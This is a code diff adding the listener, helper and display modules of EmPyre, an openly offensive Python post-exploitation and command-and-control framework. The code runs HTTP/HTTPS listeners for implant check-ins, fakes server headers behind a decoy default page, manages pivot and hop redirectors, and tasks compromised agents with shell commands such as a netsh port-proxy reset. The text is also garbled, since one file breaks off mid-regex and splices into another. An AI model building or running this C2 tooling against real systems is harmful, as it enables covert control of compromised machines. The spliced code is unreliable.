out.append(chr(ord(char) ^ S[(S[i] + S[j]) % 256])) + return ''.join(out) diff --git a/lib/common/helpers.py b/lib/common/helpers.py new file mode 100644 index 0000000..d00a296 --- /dev/null +++ b/lib/common/helpers.py @@ -0,0 +1,338 @@ +""" + +Misc. helper functions used in EmPyre. + +Includes the Python functions that generate the +randomized stagers. + +""" + +from time import localtime, strftime +from Crypto.Random import random +import re +import string +import commands +import base64 +import binascii +import sys +import os +import socket +import sqlite3 +import iptools + + +############################################################### +# +# Validation methods +# +############################################################### + +def validate_hostname(hostname): + """ + Tries to validate a hostname. + """ + if len(hostname) > 255: return False + if hostname[-1:] == ".": hostname = hostname[:-1] + allowed = re.compile("(?!-)[A-Z\d-]{1,63}(?

It works!

" + page += "

This is the default web page for this server.

" + page += "

The web server software is running but no content has been added, yet.

" + page += "" + return page + + +############################################################### +# +# Checksum helpers. +# +############################################################### + +def checksum8(s): + """ + Add up all character values and mods the total by 256. + """ + return sum([ord(ch) for ch in s]) % 0x100 + + +############################################################### +# +# HTTP servers and handlers. +# +############################################################### + +class RequestHandler(BaseHTTPRequestHandler): + """ + Main HTTP handler we're overwriting in order to modify the HTTPServer behavior. + """ + + # retrieve the server headers from the common config + serverVersion = helpers.get_config('server_version')[0] + + # fake out our server headers base + BaseHTTPRequestHandler.server_version = serverVersion + BaseHTTPRequestHandler.sys_version = "" + + + def do_GET(self): + + # get the requested path and the client IP + resource = self.path + clientIP = self.client_address[0] + sessionID = None + + cookie = self.headers.getheader("Cookie") + if cookie: + # search for a SESSIONID value in the cookie + parts = cookie.split(";") + for part in parts: + if "SESSIONID" in part: + # extract the sessionID value + name, sessionID = part.split("=") + + # fire off an event for this GET (for logging) + dispatcher.send("[*] "+resource+" requested from "+str(sessionID)+" at "+clientIP, sender="HttpHandler") + + # get the appropriate response from the agent handler + (code, responsedata) = self.server.agents.process_get(self.server.server_port, clientIP, sessionID, resource) + + # write the response out + self.send_response(code) + self.end_headers() + self.wfile.write(responsedata) + self.wfile.flush() + # self.wfile.close() # causes an error with HTTP comms + + def do_POST(self): + + resource = self.path + clientIP = self.client_address[0] + sessionID = None + + cookie = self.headers.getheader("Cookie") + if cookie: + # search for a SESSIONID value in the cookie + parts = cookie.split(";") + for part in parts: + if "SESSIONID" in part: + # extract the sessionID value + name, sessionID = part.split("=") + + # fire off an event for this POST (for logging) + dispatcher.send("[*] Post to "+resource+" from "+str(sessionID)+" at "+clientIP, sender="HttpHandler") + + # read in the length of the POST data + length = int(self.headers.getheader('content-length')) + postData = self.rfile.read(length) + + # get the appropriate response for this agent + (code, responsedata) = self.server.agents.process_post(self.server.server_port, clientIP, sessionID, resource, postData) + + # write the response out + self.send_response(code) + self.end_headers() + self.wfile.write(responsedata) + self.wfile.flush() + # self.wfile.close() # causes an error with HTTP comms + + # supress all the stupid default stdout/stderr output + def log_message(*arg): + pass + + +class EmPyreServer(threading.Thread): + """ + Version of a simple HTTP[S] Server with specifiable port and + SSL cert. Defaults to HTTP is no cert is specified. + + Uses agents.RequestHandler handle inbound requests. + """ + + def __init__(self, handler, port=80, cert=''): + + # set to False if the listener doesn't successfully start + self.success = True + + try: + threading.Thread.__init__(self) + self.server = None + + self.server = BaseHTTPServer.HTTPServer(('0.0.0.0', int(port)), RequestHandler) + + # pass the agent handler object along for the RequestHandler + self.server.agents = handler + + self.port = port + self.serverType = "HTTP" + + # wrap it all up in SSL if a cert is specified + if cert and cert != "": + self.serverType = "HTTPS" + cert = os.path.abspath(cert) + + self.server.socket = ssl.wrap_socket(self.server.socket, certfile=cert, server_side=True) + + dispatcher.send("[*] Initializing HTTPS server on "+str(port), sender="EmPyreServer") + else: + dispatcher.send("[*] Initializing HTTP server on "+str(port), sender="EmPyreServer") + + except Exception as e: + self.success = False + # shoot off an error if the listener doesn't stand up + dispatcher.send("[!] Error starting listener on port "+str(port)+": "+str(e), sender="EmPyreServer") + + + def base_server(self): + return self.server + + + def run(self): + try: self.server.serve_forever() + except: pass + + + def shutdown(self): + + # shut down the server/socket + self.server.shutdown() + self.server.socket.close() + self.server.server_close() + self._Thread__stop() + + # make sure all the threads are killed + for thread in threading.enumerate(): + if thread.isAlive(): + try: + thread._Thread__stop() + except: + pass + diff --git a/lib/common/listeners.py b/lib/common/listeners.py new file mode 100644 index 0000000..ca8040f --- /dev/null +++ b/lib/common/listeners.py @@ -0,0 +1,644 @@ +""" + +Listener handling functionality for EmPyre. + +Handles listener startup from the database, listener +shutdowns, and maintains the current listener +configuration. + +""" + +import http +import helpers + +from pydispatch import dispatcher +import hashlib +import sqlite3 + +class Listeners: + + def __init__(self, MainMenu, args=None): + + # pull out the controller objects + self.mainMenu = MainMenu + self.conn = MainMenu.conn + self.agents = MainMenu.agents + self.modules = None + self.stager = None + self.installPath = self.mainMenu.installPath + + # {listenerId : EmPyreServer object} + self.listeners = {} + + self.args = args + + # used to get a dict back from the query + def dict_factory(cursor, row): + d = {} + for idx, col in enumerate(cursor.description): + d[col[0]] = row[idx] + return d + + # set the initial listener config to be the config defaults + self.conn.row_factory = dict_factory + cur = self.conn.cursor() + cur.execute("SELECT staging_key,default_delay,default_jitter,default_profile,default_cert_path,default_port,default_lost_limit FROM config") + defaults = cur.fetchone() + cur.close() + self.conn.row_factory = None + + # the current listener config options + self.options = { + 'Name' : { + 'Description' : 'Listener name.', + 'Required' : True, + 'Value' : 'test' + }, + 'Host' : { + 'Description' : 'Hostname/IP for staging.', + 'Required' : True, + 'Value' : "http://" + helpers.lhost() + ":" + defaults['default_port'] + }, + 'Type' : { + 'Description' : 'Listener type (native, pivot, hop, foreign, meter).', + 'Required' : True, + 'Value' : "native" + }, + 'RedirectTarget' : { + 'Description' : 'Listener target to redirect to for pivot/hop.', + 'Required' : False, + 'Value' : "" + }, + 'StagingKey' : { + 'Description' : 'Staging key for initial agent negotiation.', + 'Required' : True, + 'Value' : defaults['staging_key'] + }, + 'DefaultDelay' : { + 'Description' : 'Agent delay/reach back interval (in seconds).', + 'Required' : True, + 'Value' : defaults['default_delay'] + }, + 'DefaultJitter' : { + 'Description' : 'Jitter in agent reachback interval (0.0-1.0).', + 'Required' : True, + 'Value' : defaults['default_jitter'] + }, + 'DefaultLostLimit' : { + 'Description' : 'Number of missed checkins before exiting', + 'Required' : True, + 'Value' : defaults['default_lost_limit'] + }, + 'DefaultProfile' : { + 'Description' : 'Default communication profile for the agent.', + 'Required' : True, + 'Value' : defaults['default_profile'] + }, + 'CertPath' : { + 'Description' : 'Certificate path for https listeners.', + 'Required' : False, + 'Value' : defaults['default_cert_path'] + }, + 'Port' : { + 'Description' : 'Port for the listener.', + 'Required' : True, + 'Value' : defaults['default_port'] + }, + 'KillDate' : { + 'Description' : 'Date for the listener to exit (MM/dd/yyyy).', + 'Required' : False, + 'Value' : '' + }, + 'WorkingHours' : { + 'Description' : 'Hours for the agent to operate (09:00-17:00).', + 'Required' : False, + 'Value' : '' + } + } + + + def start_existing_listeners(self): + """ + Startup any listeners that are current in the database. + """ + + cur = self.conn.cursor() + cur.execute("SELECT id,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit FROM listeners") + results = cur.fetchall() + cur.close() + + # for each listener in the database, add it to the cache + for result in results: + + # don't start the listener unless it's a native one + if result[11] != "native": + self.listeners[result[0]] = None + + else: + port = result[3] + + # if cert_path is empty, no ssl is used + cert_path = result[4] + + # build the handler server and kick if off + server = http.EmPyreServer(self.agents, port=port, cert=cert_path) + + # check if the listener started correctly + if server.success: + server.start() + + if (server.base_server()): + # store off this servers in the "[id] : server" object array + # only if the server starts up correctly + self.listeners[result[0]] = server + + + def set_listener_option(self, option, value): + """ + Set a listener option in the listener dictionary. + """ + + # parse and auto-set some host parameters + if option == "Host": + + if not value.startswith("http"): + # if there's a current ssl cert path set, assume this is https + if self.options['CertPath']['Value'] != "": + self.options['Host']['Value'] = "https://"+str(value) + else: + # otherwise assume it's http + self.options['Host']['Value'] = "http://"+str(value) + + # if there's a port specified, set that as well + parts = value.split(":") + if len(parts) > 1: + self.options['Host']['Value'] = self.options['Host']['Value'] + ":" + str(parts[1]) + self.options['Port']['Value'] = parts[1] + + elif value.startswith("https"): + self.options['Host']['Value'] = value + if self.options['CertPath']['Value'] == "": + print helpers.color("[!] Error: Please specify a SSL cert path first") + else: + parts = value.split(":") + # check if we have a port to extract + if len(parts) == 3: + # in case there's a resource uri at the end + parts = parts[2].split("/") + self.options['Port']['Value'] = parts[0] + else: + self.options['Port']['Value'] = "443" + pass + elif value.startswith("http"): + self.options['Host']['Value'] = value + parts = value.split(":") + # check if we have a port to extract + if len(parts) == 3: + # in case there's a resource uri at the end + parts = parts[2].split("/") + self.options['Port']['Value'] = parts[0] + else: + self.options['Port']['Value'] = "80" + + elif option == "CertPath": + self.options[option]['Value'] = value + host = self.options["Host"]['Value'] + # if we're setting a SSL cert path, but the host is specific at http + if host.startswith("http:"): + self.options["Host"]['Value'] = self.options["Host"]['Value'].replace("http:", "https:") + + elif option == "Port": + self.options[option]['Value'] = value + # set the port in the Host configuration as well + host = self.options["Host"]['Value'] + parts = host.split(":") + if len(parts) == 2 or len(parts) == 3: + self.options["Host"]['Value'] = parts[0] + ":" + parts[1] + ":" + str(value) + + elif option == "StagingKey": + # if the staging key isn't 32 characters, assume we're md5 hashing it + if len(value) != 32: + self.options[option]['Value'] = hashlib.md5(value).hexdigest() + + elif option in self.options: + + self.options[option]['Value'] = value + if option.lower() == "type": + if value.lower() == "hop": + # set the profile for hop.php for hop + parts = self.options['DefaultProfile']['Value'].split("|") + self.options['DefaultProfile']['Value'] = "/hop.php|" + "|".join(parts[1:]) + else: + print helpers.color("[!] Error: invalid option name") + + + def get_listener_options(self): + """ + Return all currently set listener options. + """ + return self.options.keys() + + + def kill_listener(self, listenerId): + """ + Shut a listener down and remove it from the database. + """ + self.shutdown_listener(listenerId) + self.delete_listener(listenerId) + + + def delete_listener(self, listenerId): + """ + Shut down the server associated with a listenerId and delete the + listener from the database. + """ + + # see if we were passed a name instead of an ID + nameid = self.get_listener_id(listenerId) + if nameid : listenerId = nameid + + # shut the listener down and remove it from the cache + self.shutdown_listener(listenerId) + + # remove the listener from the database + cur = self.conn.cursor() + cur.execute("DELETE FROM listeners WHERE id=?", [listenerId]) + cur.close() + + + def shutdown_listener(self, listenerId): + """ + Shut down the server associated with a listenerId/name, but DON'T + delete it from the database. + + If the listener is a pivot, task the associated agent to kill the redirector. + """ + + try: + # get the listener information + [ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit] = self.get_listener(listenerId) + + listenerId = int(ID) + + if listenerId in self.listeners: + # can't shut down hop, foreign, or meter listeners + if listener_type == "hop" or listener_type == "foreign" or listener_type == "meter": + pass + # if this listener is a pivot, task the associated agent to shut it down + elif listener_type == "pivot": + print helpers.color("[*] Tasking pivot listener to shut down on agent " + name) + killCmd = "netsh interface portproxy reset" + self.agents.add_agent_task(name, "TASK_SHELL", killCmd) + else: + # otherwise get the server object associated with this listener and shut it down + self.listeners[listenerId].shutdown() + + # remove the listener object from the internal cache + del self.listeners[listenerId] + + except Exception as e: + dispatcher.send("[!] Error shutting down listener " + str(listenerId), sender="Listeners") + + + def get_listener(self, listenerId): + """ + Get the a specific listener from the database. + """ + + # see if we were passed a name instead of an ID + nameid = self.get_listener_id(listenerId) + if nameid : listenerId = nameid + + cur = self.conn.cursor() + cur.execute("SELECT id,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit FROM listeners WHERE id=?", [listenerId]) + listener = cur.fetchone() + + cur.close() + return listener + + + def get_listeners(self): + """ + Return all listeners in the database. + """ + cur = self.conn.cursor() + cur.execute("SELECT * FROM listeners") + results = cur.fetchall() + cur.close() + return results + + + def get_listener_names(self): + """ + Return all listener names in the database. + """ + cur = self.conn.cursor() + cur.execute("SELECT name FROM listeners") + results = cur.fetchall() + cur.close() + results = [str(n[0]) for n in results] + return results + + + def get_listener_ids(self): + """ + Return all listener IDs in the database. + """ + cur = self.conn.cursor() + cur.execute("SELECT id FROM listeners") + results = cur.fetchall() + cur.close() + results = [str(n[0]) for n in results] + return results + + + def is_listener_valid(self, listenerID): + """ + Check if this listener name or ID is valid/exists. + """ + cur = self.conn.cursor() + cur.execute('SELECT * FROM listeners WHERE id=? or name=? limit 1', [listenerID, listenerID]) + results = cur.fetchall() + cur.close() + return len(results) > 0 + + + def is_listener_empyre(self, listenerID): + """ + Check if this listener name is for Empyre (otherwise for meter). + """ + cur = self.conn.cursor() + cur.execute('SELECT listener_type FROM listeners WHERE id=? or name=? limit 1', [listenerID, listenerID]) + results = cur.fetchall() + cur.close() + if results: + if results[0][0].lower() == "meter": + return False + else: + return True + else: + return None + + + def get_listener_id(self, name): + """ + Resolve a name or port to listener ID. + """ + cur = self.conn.cursor() + cur.execute('SELECT id FROM listeners WHERE name=?', [name]) + results = cur.fetchone() + cur.close() + if results: + return results[0] + else: + return None + + + def get_staging_information(self, listenerId=None, port=None, host=None): + """ + Resolve a name or port to a agent staging information + staging_key, default_delay, default_jitter, default_profile + """ + + stagingInformation = None + + if(listenerId): + cur = self.conn.cursor() + cur.execute('SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit FROM listeners WHERE id=? or name=? limit 1', [listenerID, listenerID]) + stagingInformation = cur.fetchone() + cur.close() + + elif(port): + cur = self.conn.cursor() + cur.execute("SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit FROM listeners WHERE port=?", [port]) + stagingInformation = cur.fetchone() + cur.close() + + # used to get staging info for hop.php relays + elif(host): + cur = self.conn.cursor() + cur.execute("SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit FROM listeners WHERE host=?", [host]) + stagingInformation = cur.fetchone() + cur.close() + + return stagingInformation + + + def get_stager_config(self, listenerID): + """ + Returns the (host, stagingKey, pivotServer, hop) information for this listener. + + Used in stagers.py to generate the various stagers. + """ + + listener = self.get_listener(listenerID) + + if listener: + # TODO: redo this SQL query so it's done by dict values + name = listener[1] + host = listener[2] + port = listener[3] + certPath = listener[4] + stagingKey = listener[5] + listenerType = listener[11] + redirectTarget = listener[12] + hop = False + + # if we have a pivot listener + pivotServer = "" + if listenerType == "pivot": + # get the internal agent IP for this agent + temp = self.agents.get_agent_internal_ip(name) + if(temp): + internalIP = temp[0] + else: + print helpers.color("[!] Agent for pivot listener no longer active.") + return "" + + if certPath != "": + pivotServer = "https://" + else: + pivotServer = "http://" + pivotServer += internalIP + ":" + str(port) + + elif listenerType == "hop": + hop = True + + return (host, stagingKey, pivotServer, hop) + + else: + print helpers.color("[!] Error in listeners.get_stager_config(): no listener information returned") + return None + + + def validate_listener_options(self): + """ + Validate all currently set listener options. + """ + + # make sure all options are set + for option,values in self.options.iteritems(): + if values['Required'] and (values['Value'] == ''): + return False + + # make sure the name isn't already taken + if self.is_listener_valid(self.options['Name']['Value']): + for x in xrange(1,20): + self.options['Name']['Value'] = self.options['Name']['Value'] + str(x) + if not self.is_listener_valid(self.options['Name']['Value']): + break + if self.is_listener_valid(self.options['Name']['Value']): + print helpers.color("[!] Listener name already used.") + return False + + # if this is a pivot or hop listener, make sure we have a redirect listener target + if self.options['Type']['Value'] == "pivot" or self.options['Type']['Value'] == "hop": + if self.options['RedirectTarget']['Value'] == '': + return False + + return True + + + def add_listener_from_config(self): + """ + Start up a new listener with the internal config information. + """ + + name = self.options['Name']['Value'] + host = self.options['Host']['Value'] + port = self.options['Port']['Value'] + certPath = self.options['CertPath']['Value'] + stagingKey = self.options['StagingKey']['Value'] + defaultDelay = self.options['DefaultDelay']['Value'] + defaultJitter = self.options['DefaultJitter']['Value'] + defaultProfile = self.options['DefaultProfile']['Value'] + killDate = self.options['KillDate']['Value'] + workingHours = self.options['WorkingHours']['Value'] + listenerType = self.options['Type']['Value'] + redirectTarget = self.options['RedirectTarget']['Value'] + defaultLostLimit = self.options['DefaultLostLimit']['Value'] + + # validate all of the options + if self.validate_listener_options(): + + # if the listener name already exists, iterate the name + # until we have a valid one + if self.is_listener_valid(name): + baseName = name + for x in xrange(1,20): + name = str(baseName) + str(x) + if not self.is_listener_valid(name): + break + if self.is_listener_valid(name): + print helpers.color("[!] Listener name already used.") + return False + + # don't actually start a pivot/hop listener, foreign listeners, or meter listeners + if listenerType == "pivot" or listenerType == "hop" or listenerType == "foreign" or listenerType == "meter": + + # double-check that the host ends in .php for hop listeners + if listenerType == "hop" and not host.endswith(".php"): + choice = raw_input(helpers.color("[!] Host does not end with .php continue? [y/N] ")) + if choice.lower() == "" or choice.lower()[0] == "n": + return False + + cur = self.conn.cursor() + results = cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target,default_lost_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)", [name, host, port, certPath, stagingKey, defaultDelay, defaultJitter, defaultProfile, killDate, workingHours, listenerType, redirectTarget,defaultLostLimit] ) + + # get the ID for the listener + cur.execute("SELECT id FROM listeners where name=?", [name]) + result = cur.fetchone() + cur.close() + + self.listeners[result[0]] = None + + else: + # start up the server object + server = http.EmPyreServer(self.agents, port=port, cert=certPath) + + # check if the listener started correctly + if server.success: + server.start() + + if (server.base_server()): + + # add the listener to the database if start up + cur = self.conn.cursor() + results = cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target, default_lost_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)", [name, host, port, certPath, stagingKey, defaultDelay, defaultJitter, defaultProfile, killDate, workingHours, listenerType, redirectTarget,defaultLostLimit] ) + + # get the ID for the listener + cur.execute("SELECT id FROM listeners where name=?", [name]) + result = cur.fetchone() + cur.close() + + # store off this server in the "[id] : server" object array + # only if the server starts up correctly + self.listeners[result[0]] = server + + else: + print helpers.color("[!] Required listener option missing.") + + + def add_pivot_listener(self, listenerName, sessionID, listenPort): + """ + Add a pivot listener associated with the sessionID agent on listenPort. + + This doesn't actually start a server, but rather clones the config + for listenerName and sets everything in the database as appropriate. + + """ + + # get the internal agent IP for this agent + internalIP = self.agents.get_agent_internal_ip(sessionID)[0] + if internalIP == "": + print helpers.color("[!] Invalid internal IP retrieved for "+sessionID+", not adding as pivot listener.") + + # make sure there isn't already a pivot listener on this agent + elif self.is_listener_valid(sessionID): + print helpers.color("[!] Pivot listener already exists on this agent.") + + else: + # get the existing listener options + [ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,defaultLostLimit] = self.get_listener(listenerName) + + cur = self.conn.cursor() + + if cert_path != "": + pivotHost = "https://" + else: + pivotHost = "http://" + pivotHost += internalIP + ":" + str(listenPort) + + # insert the pivot listener with name=sessionID for the pivot agent + cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target,default_lost_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)", [sessionID, pivotHost, listenPort, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, "pivot", name,defaultLostLimit] ) + + # get the ID for the listener + cur.execute("SELECT id FROM listeners where name=?", [sessionID]) + result = cur.fetchone() + cur.close() + + # we don't actually have a server object, so just store None + self.listeners[result[0]] = None + + + def killall(self): + """ + Kill all active listeners and remove them from the database. + """ + # get all the listener IDs from the cache and delete each + for listenerId in self.listeners.keys(): + self.kill_listener(listenerId) + + + def shutdownall(self): + """ + Shut down all active listeners but don't clear them from + the database. + + Don't shut down pivot/hop listeners. + """ + # get all the listener IDs from the cache and delete each + for listenerId in self.listeners.keys(): + # skip pivot/hop listeners + if self.listeners[listenerId]: + self.shutdown_listener(listenerId) diff --git a/lib/common/messages.py b/lib/common/messages.py new file mode 100644 index 0000000..b1f88fa --- /dev/null +++ b/lib/common/messages.py @@ -0,0 +1,419 @@ +""" + +Common terminal messages used across EmPyre. + +Titles, agent displays, listener displays, etc. + +""" + +import os, sys, textwrap + +# EmPyre imports +import helpers + + +############################################################### +# +# Messages +# +############################################################### + +def title(version): + """ + Print the tool title, with version. + """ + os.system('clear') + print "=================================================================" + print " EmPyre: Python post-exploitation agent | [Version]: " + version + print '=================================================================' + print """ + ______ ____ + / ____/___ ___ / __ \__ __________ + / __/ / __ `__ \/ /_/ / / / / ___/ _ \\ + / /___/ / / / / / ____/ /_/ / / / __/ +/_____/_/ /_/ /_/_/ \__, /_/ \___/ + /____/ + +""" + +def wrap_string(data, width=40, indent=32, indentAll=False, followingHeader=None): + """ + Print a option description message in a nicely + wrapped and formatted paragraph. + + followingHeader -> text that also goes on the first line + """ + + data = str(data) + + if len(data) > width: + lines = textwrap.wrap(textwrap.dedent(data).strip(), width=width) + + if indentAll: + returnString = ' '*indent+lines[0] + if followingHeader: + returnString += " " + followingHeader + else: + returnString = lines[0] + if followingHeader: + returnString += " " + followingHeader + i = 1 + while i < len(lines): + returnString += "\n"+' '*indent+(lines[i]).strip() + i += 1 + return returnString + else: + return data.strip() + + +def wrap_columns(col1, col2, width1=24, width2=40, indent=31): + """ + Takes two strings of text and turns them into nicely formatted column output. + + Used by display_module() + """ + + lines1 = textwrap.wrap(textwrap.dedent(col1).strip(), width=width1) + lines2 = textwrap.wrap(textwrap.dedent(col2).strip(), width=width2) + + result = '' + + limit = max(len(lines1), len(lines2)) + + for x in xrange(limit): + + if x < len(lines1): + if x != 0: + result += ' '*indent + result += '{line: <0{width}s}'.format(width=width1, line=lines1[x]) + else: + if x == 0: + result += ' '*width1 + else: + result += ' '*(indent + width1) + + if x < len(lines2): + result += ' ' + '{line: <0{width}s}'.format(width=width2, line=lines2[x]) + + if x != limit-1: + result += "\n" + + return result + + +def display_options(options, color=True): + """ + Take a dictionary and display it nicely. + """ + for key in options: + if color: + print "\t%s\t%s" % (helpers.color('{0: <16}'.format(key), "green"), wrap_string(options[key])) + else: + print "\t%s\t%s" % ('{0: <16}'.format(key), wrap_string(options[key])) + + +def agent_print (agents): + """ + Take an agent dictionary and display everything nicely. + """ + print "" + print helpers.color("[*] Active agents:\n") + print " Name Internal IP Machine Name Username Delay Last Seen" + print " --------- ----------- ------------ --------- ----- --------------------" + + for agent in agents: + [ID, sessionID, listener, name, delay, jitter, external_ip, internal_ip, username, high_integrity, process_id, hostname, os_details, session_key, nonce, checkin_time, lastseen_time, servers, uris, old_uris, user_agent, headers, kill_date, working_hours, py_version, lost_limit] = agent + if str(high_integrity) == "1": + # add a * to the username if it's high integrity (root) + username = "*" + username + print " %.19s%.16s%.30s%.20s%.9s%.20s" % ('{0: <19}'.format(name),'{0: <16}'.format(internal_ip),'{0: <30}'.format(hostname),'{0: <20}'.format(username), '{0: <9}'.format(str(delay)+"/"+str(jitter)), lastseen_time) + + print "" + + +def display_agents(agents): + + if len(agents)>0: + agent_print(agents) + else: + print helpers.color("[!] No agents currently registered ") + + + +def display_staleagents(agents): + """ + Take an agent dictionary and display everything nicely. + """ + + if len(agents)>0: + agent_print(agents) + else: + print helpers.color("[!] No stale agents currently registered ") + + +def display_agent(agent): + """ + Display an agent all nice-like. + + Takes in the tuple of the raw agent database results. + """ + + # extract out database fields. + keys = ["ID", "sessionID", "listener", "name", "delay", "jitter", "external_ip", "internal_ip", "username", "high_integrity", "process_id", "hostname", "os_details", "session_key", "nonce", "checkin_time", "lastseen_time", "servers", "uris", "old_uris", "user_agent", "headers", "kill_date", "working_hours", "py_version", "lost_limit"] + + print helpers.color("\n[*] Agent info:\n") + + # turn the agent into a keyed dictionary + agentInfo = dict(zip(keys, agent)) + + for key in agentInfo: + if key != "functions": + print "\t%s\t%s" % (helpers.color('{0: <16}'.format(key), "blue"), wrap_string(agentInfo[key], width=70)) + print "" + + +def display_listeners(listeners): + """ + Take a listeners list and display everything nicely. + """ + + if len(listeners) > 0: + print "" + print helpers.color("[*] Active listeners:\n") + + print " ID Name Host Type Delay/Jitter KillDate Redirect Target" + print " -- ---- ---- ------- ------------ -------- ---------------" + + for listener in listeners: + + [ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit] = listener + + if not host.startswith("http"): + if cert_path and cert_path != "": + host = "https://" + host + else: + host = "http://" + host + host += ":" + str(port) + + print " %s%s%s%s%s%s%s" % ('{0: <6}'.format(ID), '{0: <18}'.format(name), '{0: <37}'.format(host), '{0: <10}'.format(listener_type), '{0: <15}'.format(str(default_delay)+"/"+str(default_jitter)), '{0: <12}'.format(kill_date), redirect_target) + + print "" + + else: + print helpers.color("[!] No listeners currently active ") + + +def display_listener(options): + """ + Displays a listener's information structure. + """ + + print "\nListener Options:\n" + print " Name Required Value Description" + print " ---- -------- ------- -----------" + + for option,values in options.iteritems(): + # if there's a long value length, wrap it + if len(str(values['Value'])) > 33: + print " %s%s%s" % ('{0: <18}'.format(option), '{0: <12}'.format(("True" if values['Required'] else "False")), '{0: <33}'.format(wrap_string(values['Value'], width=32, indent=32, followingHeader=values['Description']))) + else: + print " %s%s%s%s" % ('{0: <18}'.format(option), '{0: <12}'.format(("True" if values['Required'] else "False")), '{0: <33}'.format(values['Value']), values['Description']) + + print "\n" + + +def display_listener_database(listener): + """ + Displays a listener's information from the database. + + Transforms the tuple set to an options dictionary and calls display_listener(). + """ + + [ID,name,host,port,certPath,stagingKey,defaultDelay,defaultJitter,defaultProfile,killDate,workingHours,listenerType,redirectTarget, defaultLostLimit] = listener + + options = { + 'ID' : { + 'Description' : 'Listener ID.', + 'Required' : True, + 'Value' : '' + }, + 'Name' : { + 'Description' : 'Listener name.', + 'Required' : True, + 'Value' : '' + }, + 'Host' : { + 'Description' : 'Hostname/IP for staging.', + 'Required' : True, + 'Value' : '' + }, + 'Type' : { + 'Description' : 'Listener type (native, pivot, hop).', + 'Required' : True, + 'Value' : '' + }, + 'RedirectTarget' : { + 'Description' : 'Listener target to redirect to for pivot/hop.', + 'Required' : False, + 'Value' : '' + }, + 'StagingKey' : { + 'Description' : 'Staging key for initial agent negotiation.', + 'Required' : True, + 'Value' : '' + }, + 'DefaultDelay' : { + 'Description' : 'Agent delay/reach back interval (in seconds).', + 'Required' : True, + 'Value' : '' + }, + 'DefaultJitter' : { + 'Description' : 'Jitter in agent reachback interval (0.0-1.0).', + 'Required' : True, + 'Value' : '' + }, + 'DefaultLostLimit' : { + 'Description' : 'Number of missed checkins before exiting', + 'Required' : True, + 'Value' : '' + }, + 'DefaultProfile' : { + 'Description' : 'Default communication profile for the agent.', + 'Required' : True, + 'Value' : '' + }, + 'CertPath' : { + 'Description' : 'Certificate path for https listeners.', + 'Required' : False, + 'Value' : '' + }, + 'Port' : { + 'Description' : 'Port for the listener.', + 'Required' : True, + 'Value' : '' + }, + 'KillDate' : { + 'Description' : 'Date for the listener to exit (MM/dd/yyyy).', + 'Required' : False, + 'Value' : '' + }, + 'WorkingHours' : { + 'Description' : 'Hours for the agent to operate (09:00-17:00).', + 'Required' : False, + 'Value' : '' + } + } + + options['ID']['Value'] = ID + options['Name']['Value'] = name + options['Host']['Value'] = host + options['Port']['Value'] = port + options['CertPath']['Value'] = certPath + options['StagingKey']['Value'] = stagingKey + options['DefaultDelay']['Value'] = defaultDelay + options['DefaultJitter']['Value'] = defaultJitter + options['DefaultProfile']['Value'] = defaultProfile + options['KillDate']['Value'] = killDate + options['WorkingHours']['Value'] = workingHours + options['Type']['Value'] = listenerType + options['RedirectTarget']['Value'] = redirectTarget + options['DefaultLostLimit']['Value'] = defaultLostLimit + + display_listener(options) + + +def display_stager(stagerName, stager): + """ + Displays a stager's information structure. + """ + + print "\nName: " + stager.info['Name'] + + print "\nDescription:" + desc = wrap_string(stager.info['Description'], width=50, indent=2, indentAll=True) + if len(desc.splitlines()) == 1: + print " " + str(desc) + else: + print desc + + # print out any options, if present + if stager.options: + print "\nOptions:\n" + print " Name Required Value Description" + print " ---- -------- ------- -----------" + + for option,values in stager.options.iteritems(): + print " %s%s%s%s" % ('{0: <17}'.format(option), '{0: <12}'.format(("True" if values['Required'] else "False")), '{0: <18}'.format(values['Value']), wrap_string(values['Description'], indent=49)) + + print "\n" + + +def display_module(moduleName, module): + """ + Displays a module's information structure. + """ + + print '\n{0: >17}'.format("Name: ") + str(module.info['Name']) + print '{0: >17}'.format("Module: ") + str(moduleName) + print '{0: >17}'.format("OpsecSafe: ") + ("True" if module.info['OpsecSafe'] else "False") + print '{0: >17}'.format("Background: ") + ("True" if module.info['Background'] else "False") + print '{0: >17}'.format("OutputExtension: ") + (str(module.info['OutputExtension']) if module.info['OutputExtension'] else "None") + + print "\nAuthors:" + for author in module.info['Author']: + print " " +author + + print "\nDescription:" + desc = wrap_string(module.info['Description'], width=60, indent=2, indentAll=True) + if len(desc.splitlines()) == 1: + print " " + str(desc) + else: + print desc + + # print out any options, if present + if module.options: + print "\nOptions:\n" + print " Name Required Value Description" + print " ---- -------- ------- -----------" + + for option,values in module.options.iteritems(): + # print " %s%s%s%s" % ('{0: <17}'.format(option), '{0: <12}'.format(("True" if values['Required'] else "False")), '{0: <25}'.format(values['Value']), wrap_string(values['Description'], indent=56)) + print " %s%s%s" % ('{0: <17}'.format(str(option)), '{0: <12}'.format(("True" if values['Required'] else "False")), wrap_columns(str(values['Value']), str(values['Description']))) + + print "" + + +def display_module_search(moduleName, module): + """ + Displays the name/description of a module for search results. + """ + + print " " + helpers.color(moduleName, "blue") + 